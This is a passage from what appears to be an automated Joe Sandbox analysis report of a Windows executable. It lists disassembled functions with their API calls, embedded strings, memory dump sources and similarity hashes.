Part of subcall function 00451FE0: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF,?,004250AA), ref: 00452054
Part of subcall function 00451FE0: LeaveCriticalSection.KERNEL32(?), ref: 00452076

Strings

Attempt to unload a module which is still used by another, xrefs: 0049CC7B
lifetime_object must be allocated on static memory (static or global variable or member of such a variable)., xrefs: 0049CACC, 0049CAFA

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$CloseHandleLeave$EnterEventObjectSingleWait___std_exception_destroy
String ID: Attempt to unload a module which is still used by another$lifetime_object must be allocated on static memory (static or global variable or member of such a variable).
API String ID: 1073078398-1128605786
Opcode ID: 7cea9105a02fb41774a694f29655a5dae27bcfbaf3afba894c4bb94764579cd4
Instruction ID: f9033f4b9766b7446c3a6b4bc477da727739077078d4d5a6f832b7a77fd520bf
Opcode Fuzzy Hash: 7cea9105a02fb41774a694f29655a5dae27bcfbaf3afba894c4bb94764579cd4
Instruction Fuzzy Hash: 02B1BFB0A006099FCF00DF65D885BAEBBB5FF44714F14826EE415A7390EB38AA04CB94

Function 0056CA10 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 258COMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000006,004A1DF0,?,B6184AA8,?,00000001), ref: 0056CA71
GetModuleHandleExW.KERNEL32(00000006,004A1DF0,00000000), ref: 0056CB1B
CreateEventW.KERNEL32(00000000,?,00000000,00000000,B6184AA8), ref: 0056CD36

Strings

Wrong interface version implemented.{}:Interface: {}Version: {}{}:Implementation: {}Version: {}, xrefs: 0056CC3C
Module: {}, xrefs: 0056CA8D, 0056CB37

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: HandleModule$CreateEvent
String ID: Module: {}$Wrong interface version implemented.{}:Interface: {}Version: {}{}:Implementation: {}Version: {}
API String ID: 3675428706-1809197839
Opcode ID: e82c2cd061cd53c86ca15e4d26a5d41a0bb30b349b6385303c3ad0ff36ac2a76
Instruction ID: 31db9278762f426622a8a6bb4b9ec020d847b5c3a58ab86283655c6e1309832b
Opcode Fuzzy Hash: e82c2cd061cd53c86ca15e4d26a5d41a0bb30b349b6385303c3ad0ff36ac2a76
Instruction Fuzzy Hash: 2AA19E71E002489FDB14DFA8CD89BAEBFB5FF45300F148259E459AB282DB749A44CF51

Function 00464510 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206threadCOMMON

Download Yara Rule

APIs

Part of subcall function 004473E0: GetModuleHandleW.KERNEL32(ntdll.dll,NtQueryInformationProcess,?,?,?,?,004645FF), ref: 0044742D
Part of subcall function 004473E0: GetProcAddress.KERNEL32(00000000), ref: 00447434
Part of subcall function 004473E0: GetCurrentProcess.KERNEL32(0000003D,?,00000001,?,?,?,?,?,004645FF), ref: 0044747A
Part of subcall function 004473E0: NtQueryInformationProcess.NTDLL ref: 00447489

InitializeProcThreadAttributeList.KERNEL32(00000000,00000001,00000000,00000000), ref: 00464611
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,B6184AA8,00000000), ref: 0046461B
InitializeProcThreadAttributeList.KERNEL32(00000000,00000001,00000000,00000000), ref: 00464681
UpdateProcThreadAttribute.KERNEL32(00000000,00000000,0002000B,000000E0,00000004,00000000,00000000), ref: 0046469F

Strings

' does not exist. Directory should be already created., xrefs: 00464753

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Proc$AttributeThread$InitializeListProcess$AddressCurrentErrorHandleInformationLastModuleQueryUpdate
String ID: ' does not exist. Directory should be already created.
API String ID: 1327494947-1638270410
Opcode ID: d22c902af6524bf4b951354892ed927d6759676f5fd3fe46650b653a823b3c03
Instruction ID: e89b761e65032e1e23e9893b2c2723afc5336934e5e6c16c33d15f012ee6c143
Opcode Fuzzy Hash: d22c902af6524bf4b951354892ed927d6759676f5fd3fe46650b653a823b3c03
Instruction Fuzzy Hash: 5461A671E00209ABDF10DF65CC49FAEBBB8FB85704F10421AF514A76C0E7B9A944CBA5

Function 0045BED0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 153COMMON

Download Yara Rule

APIs

InitOnceBeginInitialize.KERNEL32(006EEC28,00000000,?,00000000,B6184AA8,?,00000002,?,?,?,005D3548,000000FF,?,0045BDF6,?,?), ref: 0045BF18

Part of subcall function 0045BBA0: GetModuleHandleW.KERNEL32(ntdll,?,00000000,0000000C), ref: 0045BBEC
Part of subcall function 0045BBA0: GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 0045BC07
Part of subcall function 0045BBA0: GetModuleHandleW.KERNEL32(kernel32,?,00000000,0000000C), ref: 0045BC27
Part of subcall function 0045BBA0: GetProcAddress.KERNEL32(00000000,IsWow64Process2), ref: 0045BC37
Part of subcall function 0045BBA0: GetCurrentProcess.KERNEL32(ntdll,RtlGetVersion,?,00000000,0000000C), ref: 0045BC55

InitOnceComplete.KERNEL32(006EEC28,00000000,00000000,006EEC28), ref: 0045BFE6

Strings

(n, xrefs: 0045BF2F
,n, xrefs: 0045BF8D
Singleton already destroyed, xrefs: 0045C064

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: AddressHandleInitModuleOnceProc$BeginCompleteCurrentInitializeProcess
String ID: (n$,n$Singleton already destroyed
API String ID: 2071351503-2430594833
Opcode ID: ea149603320ced1006c294a1bdca2b15fa983be45beb686dfb23e6c46cd172d2
Instruction ID: 5da99226c0e5eb5215fcbc292fd2ddafb54a920ed6fffd820f4bb7089f0a9ecd
Opcode Fuzzy Hash: ea149603320ced1006c294a1bdca2b15fa983be45beb686dfb23e6c46cd172d2
Instruction Fuzzy Hash: 9F51DF71A01319DFCB10DF95D884BAEBBB5FF49B11F14811AE815AB381DB78A904CBE4

Function 0043CFB0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(005D06FE,?,00000007,00000000,?,08000000,00000000), ref: 0043D03A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,005D06FE,000000FF,?,0043EB36), ref: 0043D054
CloseHandle.KERNEL32(00000064,?,?,?,?,?,?,?,?,?,?,?,?,005D06FE,000000FF), ref: 0043D0AC
Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_error.LIBCMT ref: 0043D0E7

Part of subcall function 00599DCB: RaiseException.KERNEL32(E06D7363,00000001,00000003,00428E1C,?,?,?,?,00428E1C,B6184AA8,0068531C,B6184AA8), ref: 00599E2B

Strings

couldn't open file, xrefs: 0043D0DE

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CloseConcurrency::scheduler_worker_creation_error::scheduler_worker_creation_errorCreateErrorExceptionFileHandleLastRaise
String ID: couldn't open file
API String ID: 3108472653-3645828643
Opcode ID: c451425c80fd42c83d38c5b798881b6696f82f2f97dec1656909c43487ad21d2
Instruction ID: bff9d014ef592e4bec43c4e3eb082077773c45f240d1a1b1193e68085291a324
Opcode Fuzzy Hash: c451425c80fd42c83d38c5b798881b6696f82f2f97dec1656909c43487ad21d2
Instruction Fuzzy Hash: 92415F71D002099BCB14DFA9E985BEEBBB5EB08718F20062AE416E72D0DB399905CB55

Function 00451FE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 00451F40: InitializeCriticalSection.KERNEL32(00000000,?,?,0042500B,?,B6184AA8,?,00000018), ref: 00451F69
Part of subcall function 00451F40: DeleteCriticalSection.KERNEL32(00000000,?,?,0042500B,?,B6184AA8,?,00000018), ref: 00451F83
Part of subcall function 00451F40: EnterCriticalSection.KERNEL32(00000000,006ECEAC,006ECEB0,?,?,?,004244B3,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 00451FCD

SetEvent.KERNEL32(00000000,B6184AA8,006ECEAC,?,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF), ref: 0045203A
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF,?,004250AA), ref: 00452054
LeaveCriticalSection.KERNEL32(?), ref: 00452076

Strings

n, xrefs: 00452069
asw::lifetime::impl::lifetime_creation_monitor_holder::set_created, xrefs: 00452099

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$CloseDeleteEnterEventHandleInitializeLeave
String ID: asw::lifetime::impl::lifetime_creation_monitor_holder::set_created$n
API String ID: 3040484998-79978907
Opcode ID: bdf289a14bcfd9049c79b2e1bbfb9d390b7b27de9a64c3ca7fb108ac6524aaca
Instruction ID: 9efe420a3f9290b79509ecdfed82730cf17b669ec8761a8d2c7301be6a0ccf31
Opcode Fuzzy Hash: bdf289a14bcfd9049c79b2e1bbfb9d390b7b27de9a64c3ca7fb108ac6524aaca
Instruction Fuzzy Hash: 7421E271900609EFCB20DF65DD45BAEBBB4FF19710F14822BF811A3291EB38A944CB94

Function 005B1594 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,B6184AA8,00428E4F,?,00000000,005CD550,000000FF,?,005B1524,D98B53CC,?,005B14F8,00000000), ref: 005B15C9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 005B15DB
FreeLibrary.KERNEL32(00000000,?,00000000,005CD550,000000FF,?,005B1524,D98B53CC,?,005B14F8,00000000), ref: 005B15FD

Strings

mscoree.dll, xrefs: 005B15C2
CorExitProcess, xrefs: 005B15D3

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 489d0e13a9e76e173d8bbafc81c044bdd5c0036d5c4f8f760cedb002ecb7c725
Instruction ID: ac15d35614c6c170dae96ea40fc90d3ccf019188448304cd5696ffb6262bb3d6
Opcode Fuzzy Hash: 489d0e13a9e76e173d8bbafc81c044bdd5c0036d5c4f8f760cedb002ecb7c725
Instruction Fuzzy Hash: E201DB71904615AFDB118F54CC19FFEBBB9FB44B15F040525F822E22D0EB789904CEA4

Function 004387B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RpcServerUseProtseqEpW.RPCRT4(ncalrpc,0000000A,00689C68,00000000), ref: 004387CD
RpcServerRegisterIfEx.RPCRT4(00629560,00000000,00000000,00000001,000004D2,00000000), ref: 004387F0
RpcServerRegisterIfEx.RPCRT4(00629848,00000000,00000000,00000001,000004D2,00000000), ref: 0043880A
RpcServerRegisterIfEx.RPCRT4(006297F0,00000000,00000000,00000001,000004D2,00000000), ref: 00438825

Strings

ncalrpc, xrefs: 004387C8

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Server$Register$Protseq
String ID: ncalrpc
API String ID: 1860028169-2983622238
Opcode ID: ba38909e45900b8888e812f8e159cd8db15ea753d738d68005559f38953cdcf6
Instruction ID: 0b31014d992a1701bd7342707bec3cc1a18536e43c28797275a7a2b6edcfe1e2
Opcode Fuzzy Hash: ba38909e45900b8888e812f8e159cd8db15ea753d738d68005559f38953cdcf6
Instruction Fuzzy Hash: D5F067F03C03207AFA215625AC4AF72354EEB68F11F044016FF00F92E0EAD48C44CA7A

Function 00456E50 Relevance: 7.7, APIs: 5, Instructions: 159registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,00000004,B6184AA8,?), ref: 00456F19
SetLastError.KERNEL32(00000000), ref: 00456F24
RegSetValueExW.ADVAPI32(?,00000001,00000000,?,?,?), ref: 00456FB7
RegCloseKey.ADVAPI32 ref: 00456FE3
SetLastError.KERNEL32(00000000), ref: 00456FEE

Part of subcall function 004565A0: RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,?,?,00000000,00000000,00000000,B6184AA8,00000000,00000000), ref: 00456625
Part of subcall function 004565A0: RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,?,?,00000000,?,00000000,?), ref: 004566A9
Part of subcall function 004565A0: RegCloseKey.ADVAPI32(?), ref: 004566D7
Part of subcall function 004565A0: SetLastError.KERNEL32(00000000), ref: 004566E2

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CloseErrorLast$Create$Value
String ID:
API String ID: 1002417207-0
Opcode ID: 28f3711d86d7c8db1c0f2d5c3549b95e642bc8b32d6becd4e2aa48b7bede965e
Instruction ID: 04d88a3f68747a5e4c3f6484333bd50f7750141bd05761cf93b2e4851a3b1ee5
Opcode Fuzzy Hash: 28f3711d86d7c8db1c0f2d5c3549b95e642bc8b32d6becd4e2aa48b7bede965e
Instruction Fuzzy Hash: 1051E271D05209ABCB10DF68DD497AEBBB4FF48304F00469AE815A7381EB39AA44CF95

Function 045A6205 Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 045A6211

Part of subcall function 045A6173: __FF_MSGBANNER.LIBCMT ref: 045A618A
Part of subcall function 045A6173: __NMSG_WRITE.LIBCMT ref: 045A6191
Part of subcall function 045A6173: HeapAlloc.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,?,045A4404,?,?,?,00000000,?,045A485E,00000018,045B11B8), ref: 045A61B6

_free.LIBCMT ref: 045A6224

Memory Dump Source

Source File: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Offset: 045A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45a0000_107.jbxd

Yara matches

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: 9004239d5dc80171cc78052200efa7d214f7b06cf818cc6beda49cefc7ea0e1c
Instruction ID: 58c360bde3c7cd7e075d53dd8988276fa598d52adf218cfa66c3351d050e7b83
Opcode Fuzzy Hash: 9004239d5dc80171cc78052200efa7d214f7b06cf818cc6beda49cefc7ea0e1c
Instruction Fuzzy Hash: D9110A32905217ABEF213F74B844B5D3BA4FF4426CF140565F98496290FB34B871B6D0

Function 00596424 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0059642B
std::_Lockit::_Lockit.LIBCPMT ref: 00596436
std::_Lockit::~_Lockit.LIBCPMT ref: 005964A4

Part of subcall function 00596587: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0059659F

std::locale::_Setgloballocale.LIBCPMT ref: 00596451
_Yarn.LIBCPMT ref: 00596467

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: ca7981b966554a9597bdab93301ec5bc74158b2b665fa319d11974dbcf2039dc
Instruction ID: 40e532a97d390e6e82ef5c6c0de72724adbb5f43cc48dafe05b3fed5775fc74b
Opcode Fuzzy Hash: ca7981b966554a9597bdab93301ec5bc74158b2b665fa319d11974dbcf2039dc
Instruction Fuzzy Hash: 000171B5A002629BCF0AEB20CC9997D7FA6FFD4340B154009E8115B391DF385E0ACB91

Function 0049AC50 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 472COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 0049B17A

Part of subcall function 004289A0: ___std_exception_copy.LIBVCRUNTIME ref: 004289E8
Part of subcall function 004289A0: ___std_exception_destroy.LIBVCRUNTIME ref: 004289F8
Part of subcall function 004289A0: ___std_exception_copy.LIBVCRUNTIME ref: 00428A02
Part of subcall function 004289A0: ___std_exception_destroy.LIBVCRUNTIME ref: 00428A15

___std_exception_copy.LIBVCRUNTIME ref: 0049B1D8

Strings

' data type expected but no data returned., xrefs: 0049ADE0
: ', xrefs: 0049AD42

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: ' data type expected but no data returned.$: '
API String ID: 2970364248-3853045011
Opcode ID: 5d284ea8c45f853d2da502d97f1499490f5f22c910cf12e8ff7e76de5bcd4de4
Instruction ID: 9c338481bf5c58b5dac022437e4a9e672a1604e8c47dc00d341ba0ea24f8a415
Opcode Fuzzy Hash: 5d284ea8c45f853d2da502d97f1499490f5f22c910cf12e8ff7e76de5bcd4de4
Instruction Fuzzy Hash: 7E12E370D00245DFDB14CF68D948BAEBBB5FF45304F14829EE414AB792DB78AA84CB91

Function 0049F460 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 456COMMON

Download Yara Rule

Strings

L4c, xrefs: 0049F9A7

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID:
String ID: L4c
API String ID: 0-3914362531
Opcode ID: 0d3a422b1fe9abc73e5be0b0e94142f63716f7193ed0c6e36a7899f60644d39a
Instruction ID: 530334fd19e82db6d95f7d2a8f8440139570d250d7bdb027e5ead4323c8a564e
Opcode Fuzzy Hash: 0d3a422b1fe9abc73e5be0b0e94142f63716f7193ed0c6e36a7899f60644d39a
Instruction Fuzzy Hash: C4F1D6B4A006159FCF00DF65C85866EBBB5FF88324F14456EE916E7391EB38AD09CB90

Function 0041EA50 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 383COMMON

Download Yara Rule

APIs

___std_fs_convert_narrow_to_wide@20.LIBCPMT ref: 0041EC41

Part of subcall function 0059744D: MultiByteToWideChar.KERNEL32(?,00000008,?,00000001,?,00000001,?,?,0041EC46,000004E4,?,00000001,?,00000001,?,?), ref: 00597462
Part of subcall function 0059744D: GetLastError.KERNEL32(?,0041EC46,000004E4,?,00000001,?,00000001,?,?), ref: 0059746E

Strings

\u{, xrefs: 0041ECC0
\x{, xrefs: 0041ED73
>b, xrefs: 0041EC14

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide___std_fs_convert_narrow_to_wide@20
String ID: \u{$\x{$>b
API String ID: 426171095-3807628239
Opcode ID: ca9bf8963e0e4fa7230878bde4fe1cf36a1439f47aa8734440bfbe8340765503
Instruction ID: 742e37b08a19b6f319974799dbd937833ef574bcf598db70c6476074a90db5c7
